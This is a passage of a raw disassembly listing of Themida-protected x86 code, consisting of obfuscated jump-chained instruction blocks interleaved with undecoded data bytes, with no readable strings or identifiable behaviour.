		db 0FFh
; ---------------------------------------------------------------------------


loc_58C20D:				; CODE XREF: Themida_:0058E3A4j
		sub	[edi+20h], ebp
		jmp	loc_58D82C
; ---------------------------------------------------------------------------


loc_58C215:				; CODE XREF: Themida_:005878EFj
		push	edx
		mov	dh, 91h
		sub	bl, dh
		pop	edx
		jmp	loc_5851E5
; ---------------------------------------------------------------------------


loc_58C220:				; CODE XREF: Themida_:005876C2j
		pop	edi
		push	ebp
		push	eax
		mov	eax, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, eax
		mov	ebp, ecx
		pop	ecx
		jmp	loc_586347
; ---------------------------------------------------------------------------
		db 31h
		dd 7E9243Ch, 29FFFF8Eh,	7B8E9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58C24A:				; CODE XREF: Themida_:00584D1Cj
		push	3FECh
		mov	[esp], eax
		jmp	loc_587A32
; ---------------------------------------------------------------------------
		db 81h
		dd 42B7BCEEh, 0B3ADE987h, 0EA87FFFFh, 0EEE9D5F7h, 5900000Eh
		dd 2C781h, 3C330000h, 1C7DE924h, 0EA810000h, 6F70AB5h
		dd 0C281EAD1h, 0A6B126BFh, 5C2A1E05h, 0E9D0012Ah, 3823h
		dd 3D75C281h, 0EA816BE4h, 3E322013h, 0FF81CEE9h, 0FEE955FFh
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58C2AB:				; CODE XREF: Themida_:005863BDj
		mov	ebx, 6B4F36C1h
		jmp	loc_58F87D
; ---------------------------------------------------------------------------
		db 0B9h, 7, 1
		dd 0BA521AB2h, 5237E8Fh, 0C15AD129h, 0C18106E9h, 4FE50201h
		dd 0D276C181h, 0CB01CD81h, 5BD98959h, 57665805h, 56C80169h
		dd 0FF8231E9h, 243487FFh, 5224248Bh, 0EEC01AB6h, 68C6FE08h
		dd 0
		dd 8A243428h, 0E9532434h, 1521h, 4EC835Eh, 0B8240489h
		dd 2, 5358C301h, 42474FFh, 24048F5Bh, 0E924248Bh, 0FFFFE102h
; ---------------------------------------------------------------------------


loc_58C324:				; CODE XREF: Themida_:0058EF65j
		shl	edx, 1
		push	edi
		mov	edi, esp
		jmp	loc_58F3DC
; ---------------------------------------------------------------------------
		dw 8F5Fh
		dd 248B2404h, 4016624h,	34E99C24h, 0BDFFFF81h, 2, 0EF5C681h
		dd 0EE01602Bh, 0EF5EE81h, 34FF602Bh, 18C7E924h,	0CB290000h
		dd 0FF9B59E9h
		db 0FFh
byte_58C361	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00584258o
		dd 0E7895724h, 0ABBE5655h, 812AD96Bh, 7D773CCEh, 2910E975h
		dd 0FEBA0000h, 21000000h, 34FF1C57h, 0D3D5E924h, 0DF21FFFFh
		dd 62E9575Bh, 0FFFFFFA8h, 0D8E98734h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C39B:				; CODE XREF: Themida_:0058B152j
		add	ebp, eax
		pop	eax
		jmp	loc_5861AF
; ---------------------------------------------------------------------------
		db 83h
		dd 0B35304C4h, 0C0CBFE1Eh, 0CBFE07EBh, 80FBEB80h, 0EB80DCCBh
		dd 0E9D80084h, 0FFFFC144h
; ---------------------------------------------------------------------------


loc_58C3C0:				; CODE XREF: Themida_:00586963j
		mov	[esp], ebp
		mov	ebp, 4AC50865h
		jmp	loc_585B1F
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 68BE9h
		db 0
; ---------------------------------------------------------------------------


loc_58C3D5:				; CODE XREF: Themida_:00588EF1j
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_5872F8
		push	dword ptr [edi+1Ch]
		push	497Ch
		jmp	loc_590613
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 8304C483h, 53E904C4h, 400002Ch, 2CF02805h, 50B65205h
		dd 8029C680h, 0C680C0CEh, 0B7C6807Ah, 8007E6C0h, 0F028AFEEh
		dd 0D8285A5Ah, 2943E9h,	4C38100h, 52000000h, 0C281E289h
		dd 4, 264EE9h, 7FED8100h, 4D293B25h, 0CD81EDD1h, 662E7F2Ah
		dd 0FFD3FEE9h, 1C5F09FFh, 0E9241C8Bh, 0FFFFA174h, 0B850515Fh
		dd 2DC7623Bh, 0E958C189h, 0FFFF876Eh, 5C243C33h, 0E9240489h
		dd 0FFFFAA51h, 8B04C483h, 0C483240Ch, 14C68004h, 0E95AF030h
		dd 0FFFF8FDDh
dword_58C490	dd 64E951ACh			db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C497:				; CODE XREF: Themida_:0058E3D5j
		add	esp, 4
		jmp	loc_58683D
; ---------------------------------------------------------------------------
aMsOh		db '¬S³oh{]',0          ; DATA XREF: Themida_:0058425Co
		dw 8900h
		dd 0EBE9240Ch
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58C4B3:				; CODE XREF: Themida_:0058574Dj
		push	esp
		pop	eax
		jmp	loc_58C037
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0C5B02404h, 0FFAB62E9h, 242C87FFh, 73D6685Ch, 4890000h
		dd 5E08924h, 4,	24A1E9h, 9C2CBF00h, 0F8E94D94h,	68000022h
		dd 0EAh, 14E9E9h, 42DAF700h, 0FD80E94Ah, 835DFFFFh, 3C8904ECh
		dd 5683BF24h, 0F7815492h, 67F40594h, 0C14F4F47h, 0EF8104E7h
		dd 0C71B2EF5h, 0FFC1E0E9h, 4BA52FFh, 0E9000000h, 0FFFFE670h
		dd 0D564F125h, 0E0D14028h, 0DD0D6025h, 0D7BA5257h, 31528113h
		dd 0C2315AD0h, 8EAC158h, 1E99E281h, 0E9517886h,	0FFFFECF5h
		dd 24048966h, 0FF7F1AE9h, 4C481FFh, 2D000000h, 65680CA5h
		dd 7DC68h, 241C8900h, 0DFC6F4BBh, 0FFD83123h, 34FF2434h
		dd 241C8B24h, 0E9E28952h, 0FFFFFC76h, 5F49C181h, 0D6E9060Ah
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C58F:				; CODE XREF: Themida_:00585589j
		not	dword ptr [esp]
		pop	ebx
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_584EC0
; ---------------------------------------------------------------------------
		db 53h
		dd 241C8B5Ah, 8104C483h, 8A5D3FEBh, 81D3014Bh, 8A5D3FC3h
		dd 67E95A4Bh, 57000026h, 805EE951h, 8058FFFFh, 0DE2866C3h
		dd 0FFEE0DE9h, 0EC835CFFh, 243C8904h, 4EC81h, 8DE90000h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C5EF:				; CODE XREF: Themida_:00585214j
		or	edx, eax
		shl	edx, 1
		jmp	loc_589E33
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 5BE95200h, 5FFFF80h, 4, 5C240487h
		dd 74A68h, 240C8900h, 7E2D3FB9h, 3BF1816Eh, 16E7E2Dh, 0FC41E9CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C62A:				; CODE XREF: Themida_:0058FDFAj
		mov	edx, 3BF77DAFh
		inc	edx
		jmp	loc_58BF31
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0F0E95450h, 8900002Dh, 0E95B5EF0h, 0FFFF7E2Bh, 5750BE56h
		dd 0C68116C0h, 56FD0AD4h, 348BF001h, 4C48124h, 29000000h
		dd 62242DF8h, 34FF6DBDh, 89565F24h, 4C681E6h, 83000000h
		dd 348704C6h, 0D5A5E924h, 0C381FFFFh, 4, 0B80E9h, 56575900h
		dd 1AD3E951h, 0D9F70000h, 8108E9C1h, 0DF1A10E1h, 0AAE98140h
		dd 89A2EEF2h, 0E68159CEh, 6CDC565Ah, 8105EEC1h,	816075C6h
		dd 93BB534Fh, 3151E560h, 822D5BDEh, 53776452h, 0C7575DBBh
		dd 8BD8295Fh, 0C481241Ch, 4, 5D05F001h,	0E95FC757h, 2D84h
; ---------------------------------------------------------------------------


loc_58C6E0:				; CODE XREF: Themida_:0058D7E2j
		pop	edi
		sub	esi, 7F161C74h
		add	esi, eax
		add	esi, 7F161C74h
		add	esi, 417B4A06h
		push	0E89h
		jmp	loc_589BFE
; ---------------------------------------------------------------------------
		db 68h
		dd 78682E1Eh, 81241C8Bh, 4C4h, 3EBC100h, 0D48BEB81h, 74E9A5CDh
		dd 81FFFFE7h, 0EF2685EEh, 2E07E96Bh, 2BB0000h, 1000000h
		dd 95E95BD9h, 2D000035h, 0FFFFFFFFh, 3B0FC835h,	0C1D8F70Dh
		dd 0BB5307E8h, 7DE17615h, 895BD829h, 0C38158C3h, 201227BFh
		dd 0EB81FB01h, 201227BFh, 1010E9h
		db 0
; ---------------------------------------------------------------------------


loc_58C761:				; CODE XREF: Themida_:0058625Bj
		mov	ebx, 0
		add	ebx, ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	cl, al
		mov	[ebx], cl
		jmp	loc_588A70
; ---------------------------------------------------------------------------


loc_58C784:				; CODE XREF: Themida_:0058DFDEj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58A37C
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 42474FFh, 0E9240C8Bh, 0FFFFB8E1h
; ---------------------------------------------------------------------------


loc_58C79C:				; CODE XREF: Themida_:00584920j
		mov	ebx, esp
		push	edi
		mov	edi, 1B486B90h
		jmp	loc_58F191
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 81242C8Bh, 4C4h, 4C48100h, 81000000h, 4C3h, 241C8700h
		dd 2C54E9h, 815F5400h, 4C7h, 4C78300h, 0FFD4C0E9h, 21C580FFh
		dd 0FFBD7DE9h, 4C483FFh, 4C481h, 0E9530000h, 0FFFFC5A3h
		dd 0E924048Bh, 0FFFF9809h, 4C681h, 18E90000h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C803:				; CODE XREF: Themida_:0058D4D1j
		jmp	loc_58853E
; ---------------------------------------------------------------------------


loc_58C808:				; CODE XREF: Themida_:0058A763j
		mov	esi, [esp]
		push	ecx
		jmp	loc_5896AB
; ---------------------------------------------------------------------------
		db 89h,	0FBh, 0E9h
		dd 174h
; ---------------------------------------------------------------------------


loc_58C818:				; CODE XREF: Themida_:00585AB2j
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_58B14D
; ---------------------------------------------------------------------------
aNh		db '­h`]',0             ; DATA XREF: Themida_:00584380o
		align 10h
		dd 0BA241489h, 3F51101Eh, 68h, 24142900h, 0CAF2815Ah, 816DB727h
		dd 0DD51B4EAh, 0CA814A34h, 321B2784h, 0DE03BE56h, 0F201E810h
		dd 8BD0295Eh, 0E1E92414h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C867:				; CODE XREF: Themida_:0058FF44j
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_587DB4
; ---------------------------------------------------------------------------


loc_58C876:				; CODE XREF: Themida_:0059064Aj
		mov	ch, 7Ch
		neg	ch
		sub	ch, 0F3h
		sub	ch, 0B4h
		add	ch, 1Fh
		add	ch, 0E1h
		add	bh, 0E0h
		add	bh, ch
		sub	bh, 0E0h
		pop	ecx
		sub	bh, cl
		sub	bh, 0DDh
		jmp	loc_586147
; ---------------------------------------------------------------------------
		db 50h,	54h, 58h
		dd 405h, 42D00h, 4870000h, 915AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C8AE:				; CODE XREF: Themida_:00587B3Aj
		shl	ebp, 2
		sub	ebp, 0FB492CFCh
		mov	edi, ebp
		pop	ebp
		push	esi
		mov	esi, 46AE311Fh
		dec	esi
		neg	esi
		shr	esi, 7
		jmp	loc_58B2B0
; ---------------------------------------------------------------------------
		db 81h
		dd 0F86EF8F1h, 81D1F70Eh, 0A34F4EE9h, 19D8E945h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58C8DE:				; CODE XREF: Themida_:00585817j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	edx
		push	esp
		jmp	loc_588F9F
; ---------------------------------------------------------------------------
		db 68h
		dd 180Ch, 0E9240489h, 0FFFF7B77h, 81E78957h, 4C7h, 4EF8100h
		dd 87000000h, 5CE9243Ch, 66FFFF8Ch, 0C166D2F7h,	816602EAh
		dd 66E9C8C2h, 66631668h, 66240489h, 0E92A49B8h,	0FFFF7EFAh
		dd 15BCBB53h, 9CE94F5Dh, 87FFFF96h, 248B241Ch, 9F64E924h
		dd 0F780FFFFh, 0EFE9506Ah
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58C94F:				; CODE XREF: Themida_:00586C7Ej
		push	eax
		push	6B91h
		mov	[esp], esi
		push	59386612h
		pop	esi
		xor	esi, 59386616h
		mov	eax, esi
		pop	esi
		add	edx, eax
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		jmp	loc_588A8E
; ---------------------------------------------------------------------------
		dd 0E73068B7h, 5FEF8058h, 0E903B252h, 0FFFFCBB5h, 0E689565Fh
		dd 4C681h, 0EE830000h, 24348704h, 243C895Ch, 0AF596BBFh
		dd 0C061E9BDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C9AA:				; CODE XREF: Themida_:0058F4BEj
		add	esp, 4
		jmp	loc_589B6D
; ---------------------------------------------------------------------------


loc_58C9B2:				; CODE XREF: Themida_:0058EB4Bj
		push	edx
		push	ecx
		mov	ecx, 1CE2572Eh
		or	ecx, 7C0C1269h
		not	ecx
		sub	ecx, 4D5C6E71h
		shl	ecx, 4
		add	ecx, 0D2309038h
		jmp	loc_58AFF6
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 12h
		dd 10BA3BEh, 0C6815AD6h, 4, 0FFF8FCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58C9E9:				; CODE XREF: Themida_:0058DB40j
		push	ebp
		mov	ebp, 203F44A6h
		add	ebp, 3A4944A3h
		jmp	loc_58D4F7
; ---------------------------------------------------------------------------


loc_58C9FA:				; CODE XREF: Themida_:0058754Fj
		and	eax, ebp
		pop	ebp
		jmp	loc_58B907
; ---------------------------------------------------------------------------
a_se		db '_é¥(',0
		align 4
		dd 0C1D1F759h, 0E98103E9h, 0FFFFFFFFh, 0D4FAE956h
		db 2 dup(0FFh)
word_58CA1A	dw 74FFh		; DATA XREF: Themida_:00584240o
		dd 34FF0424h, 0EC815824h, 4, 81240C89h,	4ECh, 24248900h
		dd 4240481h, 59000000h,	0FF970FE9h, 0E9CB31FFh,	8C0h
; ---------------------------------------------------------------------------


loc_58CA48:				; CODE XREF: Themida_:0058C00Fj
		add	esp, 4
		push	edx
		mov	edx, 597F0928h
		jmp	loc_589AAF
; ---------------------------------------------------------------------------
		dw 0D831h
		dd 0E9241C8Bh, 0FFFFD244h, 0FF24248Bh, 48B2434h, 4C48324h
		dd 81E78957h, 4C7h, 4EF8100h, 57000000h, 42474FFh, 24048F5Fh
		dd 242C895Ch, 0BE56E589h, 472F1C77h, 1C73F681h,	0F501472Fh
		dd 4BB535Eh, 81000000h,	452BF1C5h, 0E9DD0146h, 2770h, 0FF79C2E9h
		dd 0E935B4FFh, 0FFFF7E7Dh
; ---------------------------------------------------------------------------


loc_58CAB8:				; CODE XREF: Themida_:0058BED6j
		push	esi
		jmp	loc_590717
; ---------------------------------------------------------------------------


loc_58CABE:				; CODE XREF: Themida_:0058A92Fj
		xor	ecx, 2ABD8DEh
		mov	ebp, ecx
		pop	ecx
		jmp	loc_58B83A
; ---------------------------------------------------------------------------
		dd 36242C81h, 5B09A555h, 5536C381h, 0C8B09A5h, 4C48324h
		dd 5707EBC1h, 726C76BFh, 5FFB314Ch, 7111EB81h, 0C381188Ch
		dd 9D72952h, 355BD831h,	38E7C999h, 48BC589h, 4C48124h
		dd 0E9000000h, 27AFh
; ---------------------------------------------------------------------------


loc_58CB10:				; CODE XREF: Themida_:00588873j
		mov	[esp], edx
		push	ecx
		push	52B067E2h
		pop	ecx
		dec	ecx
		dec	ecx
		xor	ecx, 78C4038Fh
		mov	edx, ecx
		pop	ecx
		and	esi, edx
		pop	edx
		push	ebp
		mov	ebp, 42EE55AFh
		jmp	loc_58AECF
; ---------------------------------------------------------------------------


loc_58CB33:				; CODE XREF: Themida_:005894FEj
		mov	[esp], ebp
		mov	ebp, 4
		sub	edx, 4A546E0Eh
		add	edx, ebp
		jmp	loc_58B80C
; ---------------------------------------------------------------------------


loc_58CB48:				; CODE XREF: Themida_:005884BCj
		mov	edx, 4
		add	ecx, edx
		pop	edx
		jmp	loc_587228
; ---------------------------------------------------------------------------


loc_58CB55:				; CODE XREF: Themida_:00590708j
		mov	esi, 4
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	edi
		push	esi
		mov	esi, 4
		jmp	loc_58EB1B
; ---------------------------------------------------------------------------
		dw 72B8h
		dd 29228876h, 58042444h, 13D8E9h, 0D1E95600h, 5800000Ch
		dd 0FF9F35E9h, 65E953FFh, 5D000033h, 1F2AE95Fh,	0EA810000h
		dd 2, 8B241487h, 89662424h, 0BB66241Ch,	97E9F754h, 0F7FFFFB6h
		dd 61B850D2h, 0D4B583Bh, 274FE4h, 0FFF967E9h, 7FEB81FFh
		dd 8372A165h, 1C8904ECh, 0A6685724h, 8B7F891Dh,	0C481243Ch
		dd 4, 0D94F781h, 4EE96AE0h, 59FFFFCDh, 1250E9h
		db 0
byte_58CBED	db 66h,	8Bh, 4		; DATA XREF: Themida_:00584264o
		dd 9583E924h, 2C8BFFFFh, 4C48324h, 0C281F201h, 16C865AAh
		dd 72E9555Eh, 89FFFFF0h, 405E0h, 0F1680000h, 8900003Eh
		dd 0E953240Ch, 1940h
; ---------------------------------------------------------------------------


loc_58CC20:				; CODE XREF: Themida_:005867C1j
		mov	[esp], ecx
		jmp	loc_58E101
; ---------------------------------------------------------------------------
		dd 33240C31h, 248B240Ch, 24048B24h, 81595451h, 4C1h, 9CBA5200h
		dd 0F77C9078h, 60F281DAh, 52836F87h, 4959B7BAh,	315FE949h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58CC56:				; CODE XREF: Themida_:00585894j
		xor	ah, 8Ah
		add	cl, ah
		jmp	loc_5874FC
; ---------------------------------------------------------------------------
dword_58CC60	dd 24048B66h, 332FE9h		db 0
aN1Uhzp		db '­1ØUh‡p',0          ; DATA XREF: Themida_:00584280o
		align 2
		dw 2489h
		dd 24048324h, 2366E904h
		db 2 dup(0)
word_58CC7E	dw 478Fh		; DATA XREF: Themida_:0058426Co
		dd 77EDE940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58CC86:				; CODE XREF: Themida_:005848F9j
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_585E52
; ---------------------------------------------------------------------------


loc_58CC96:				; CODE XREF: Themida_:0058CE0Bj
		mov	esi, 4000h
		jmp	loc_58F97E
; ---------------------------------------------------------------------------
dword_58CCA0	dd 24048B66h	; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	717Eh
		mov	[esp], edi
		mov	edi, 26182108h
		push	ecx
		jmp	loc_5878FF
; ---------------------------------------------------------------------------


loc_58CCBA:				; CODE XREF: Themida_:00585F90j
		xor	ecx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_58B1A5
; ---------------------------------------------------------------------------
		db 68h
		dd 2ACC6344h, 0E9E7D15Fh, 0FFFFE1C1h
; ---------------------------------------------------------------------------


loc_58CCD8:				; CODE XREF: Themida_:0058F038j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		push	esp
		jmp	loc_58BEA3
; ---------------------------------------------------------------------------


loc_58CCE6:				; CODE XREF: Themida_:0058F19Dj
		neg	edx
		xor	edx, 7751165Dh
		xor	edx, 6B1A68E5h
		xor	edx, 17216C2Bh
		jmp	loc_5876A2
; ---------------------------------------------------------------------------
		db 2Dh
		dd 4, 204CE9h, 243C8900h, 0FFE023E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58CD11:				; CODE XREF: Themida_:0058AB0Cj
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		xor	ecx, 9C4F16BDh
		mov	edx, ecx
		pop	ecx
		jmp	loc_58AF91
; ---------------------------------------------------------------------------
		dd 594BF381h, 0E95300ACh, 134Fh, 8B241433h, 0C4812424h
		dd 4, 8904EC83h, 0EC81242Ch, 4,	0E9240489h, 0FFFFBEA5h
; ---------------------------------------------------------------------------


loc_58CD50:				; CODE XREF: Themida_:00585690j
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 6B3906C3h
		shl	ebp, 5
		jmp	loc_58A6DA
; ---------------------------------------------------------------------------
		db 5Dh,	51h, 68h
		dd 1D2F1B8Ah, 9B20E959h, 0D988FFFFh, 81241C8Bh,	4C4h, 24048B00h
		dd 4C481h, 57E90000h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58CD8B:				; CODE XREF: Themida_:0058CE5Bj
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		push	1759h
		mov	[esp], esi
		push	556h
		mov	[esp], edi
		mov	edi, 4
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		and	ecx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		push	edx
		mov	edx, 4
		jmp	loc_58DA57
; ---------------------------------------------------------------------------
		dd 158C689h, 0E9575EF7h, 206Dh,	5931BD55h, 0ED812682h
		dd 41116C3Eh, 0A814E945h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58CDEA:				; CODE XREF: Themida_:00586358j
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	esi
		jmp	loc_58CC96
; ---------------------------------------------------------------------------
		dd 24042166h, 7659E99Ch, 22B8FFFFh, 2D6B2F66h, 0FFFFFFFFh
		dd 0FFA809E9h, 0E18951FFh, 4C181h, 0C1810000h, 4, 5C240C87h
		dd 0FFD22BE9h, 48F5EFFh, 24248B24h, 4B30F66h, 20E99C24h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58CE53:				; CODE XREF: Themida_:00585B9Cj
		add	edi, ebx
		sub	edi, 2C7A1BBAh
		jmp	loc_58CD8B
; ---------------------------------------------------------------------------
		dd 815A5452h, 4C2h, 4C28100h, 87000000h, 248B2414h, 0D3EF8124h
		dd 81226D46h, 66290BEFh, 81CF010Bh, 66290BC7h, 5868500Bh
		dd 8900006Eh, 0DCB9240Ch, 0F71E452Eh, 0B850D9h,	29000000h
		dd 575891C8h, 7748BE56h, 0F2E924E5h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58CEAF:				; CODE XREF: Themida_:00589B53j
		xor	ebp, 49916FB1h
		sub	ebp, 4D906FA6h
		sub	edx, ebp
		pop	ebp
		dec	edx
		sub	edx, 3431268h
		mov	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_588C55
; ---------------------------------------------------------------------------
		dw 4A68h
		dd 5400007Bh, 8124048Fh, 42404h, 525B0000h, 3DDE9h
		db 0
; ---------------------------------------------------------------------------


loc_58CEE9:				; CODE XREF: Themida_:0058D892j
		pop	eax
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_5872A4
; ---------------------------------------------------------------------------
		db 88h,	0DCh, 5Bh
		dd 0FFE3D0E9h, 243C89FFh, 0DAE95F54h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58CF07:				; CODE XREF: Themida_:00584CF3j
		mov	[esp], ecx
		push	ebx
		push	187046F7h
		pop	ebx
		shr	ebx, 6
		sub	ebx, 61B91Bh
		jmp	loc_5887A3
; ---------------------------------------------------------------------------
		db 5Bh
		dd 2ED81h, 2C870000h, 4FE95C24h
		db 3, 2	dup(0)
byte_58CF2F	db 0ACh			; DATA XREF: Themida_:005842C4o
		dd 0E904EC83h, 0FFFFED01h
; ---------------------------------------------------------------------------


loc_58CF38:				; CODE XREF: Themida_:005894E7j
		push	ecx
		push	esi
		mov	esi, esp
		jmp	loc_58788C
; ---------------------------------------------------------------------------
		db 0BBh, 11h, 21h
		dd 0DD018CAAh, 0FFBE1DE9h, 5DE931FFh, 242EE9h
		db 0
; ---------------------------------------------------------------------------


loc_58CF55:				; CODE XREF: Themida_:00589D32j
		add	edx, 4
		jmp	loc_58E95C
; ---------------------------------------------------------------------------
		dd 69D868h, 241C8900h, 8EF1F8BBh, 5BDE3150h, 0AEE9F031h
		dd 81000011h, 4C4h, 55A56800h, 1C890000h, 84BAE924h, 0EAC1FFFFh
		dd 0D3EA8102h, 0F7E8A813h, 0ABB1E9D2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58CF9A:				; CODE XREF: Themida_:0058D4F2j
		pop	edi
		add	ebx, 0D101A7h
		sub	ebx, ebp
		sub	ebx, 0D101A7h
		pop	ebp
		xor	ebx, [esp]
		jmp	loc_5877CE
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 64E95C24h, 5C000006h, 56E9E0D1h, 33FFFFE0h, 34312434h
		dd 24343324h, 8966645Ch, 749DE902h, 0C681FFFFh,	22DC627Eh
		dd 24343359h, 33243431h, 0FEE92434h
		db 0E6h, 2 dup(0FFh)
byte_58CFEB	db 66h			; DATA XREF: Themida_:0058438Co
		dd 68240C8Bh, 4EF3h, 54243489h,	41BC685Eh, 2BE90000h, 81FFFFC0h
		dd 4C4h, 0D3885300h, 50DE8852h,	0FFA11FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58D015:				; CODE XREF: Themida_:00588BB7j
		mov	eax, 2E12092Ah
		push	ecx
		mov	ecx, 2B953D12h
		dec	ecx
		add	ecx, 3DFD1CB8h
		dec	ecx
		jmp	loc_58EB49
; ---------------------------------------------------------------------------
		db 1, 0C2h, 81h
		dd 0B50099EAh, 0FBD556Bh, 0C1303673h, 0D5F708EDh, 40EDCD81h
		dd 8BE93B70h, 81FFFF7Ah, 4C3h, 4EC8300h, 0BE243489h, 7DE53707h
		dd 5505E6C1h, 0E2FC3BDh, 0EDD14510h, 144AED81h,	0EE01E1DDh
		dd 0FFFCF0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58D075:				; CODE XREF: Themida_:0058B42Bj
		mov	edx, 0A2BCA9CFh
		sub	edx, esi
		pop	esi
		jmp	loc_5845A1
; ---------------------------------------------------------------------------


loc_58D082:				; CODE XREF: Themida_:0058E8C3j
		add	esp, 4
		shr	ecx, 0Ah
		jmp	loc_5895C8
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 10h
		dd 89E7A7A0h, 242C8BE9h, 18EEE9h, 31C78100h, 0C1606228h
		dd 0D7F707E7h, 84C78147h, 1BF8418h, 0DDAAE9FAh
		db 2 dup(0FFh)
word_58D0B6	dw 77FFh		; DATA XREF: Themida_:0058427Co
		dd 58669D1Ch, 24041166h, 0CC77E99Ch
		db 2 dup(0FFh)
word_58D0C6	dw 77FFh		; DATA XREF: Themida_:00584368o
		dd 11589D1Ch, 0E99C2404h, 0FFFF739Fh, 5704C483h, 0C00C23BFh
		dd 18E9570Ah
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D0E3:				; CODE XREF: Themida_:0058BC9Cj
		push	edi
		mov	edi, 6D5A4411h
		mov	ebx, edi
		pop	edi
		shr	ebx, 7
		dec	ebx
		push	ebp
		mov	ebp, 0DAB483h
		jmp	loc_588092
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4, 8358C701h, 0FF5702C7h, 0FF042474h, 0E95F2434h, 0FFFF7B08h
		dd 5A2434FFh, 0D002E952h, 0C583FFFFh, 90E95504h, 5AFFFFADh
		dd 8324348Bh, 0C68104C4h, 4, 4B951h, 0CE010000h, 24348759h
		dd 724E9h
		db 0
; ---------------------------------------------------------------------------


loc_58D145:				; CODE XREF: Themida_:00587B0Aj
		not	eax
		add	eax, 0CABDF7E0h
		sub	esi, eax
		mov	eax, [esp]
		push	edx
		push	esp
		pop	edx
		jmp	loc_58A3ED
; ---------------------------------------------------------------------------
		db 87h,	0EAh, 81h
		dd 25187CEAh, 8BD03161h, 0C4832414h, 238E6804h,	1C890000h
		dd 0DC076824h, 34FF3546h, 0C4835B24h, 0FFD83104h, 1C8B2434h
		dd 1A63E924h, 248B0000h, 0AF0F6624h, 9C5166C8h,	0FF72DAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58D199:				; CODE XREF: Themida_:00586A6Fj
		mov	ebp, 7CCD7784h
		xor	[esp+4], ebp
		jmp	loc_590016
; ---------------------------------------------------------------------------
		db 81h
		dd 370666EAh, 0EA814259h, 58ADB665h, 0C15AD189h, 36E908E9h
		dd 83000023h, 148704C2h, 0E1F75C24h, 27BE68h, 24148900h
		dd 0FF9391E9h, 5BD888FFh, 7434C8FEh, 0A6BE9h, 241C8700h
		dd 0FFC8E3E9h, 81E189FFh, 4C1h,	0D8CCE900h, 4D45FFFFh
		dd 54E4F581h, 0BB5367C6h, 41B15423h, 0FFEBA7E9h, 4C383FFh
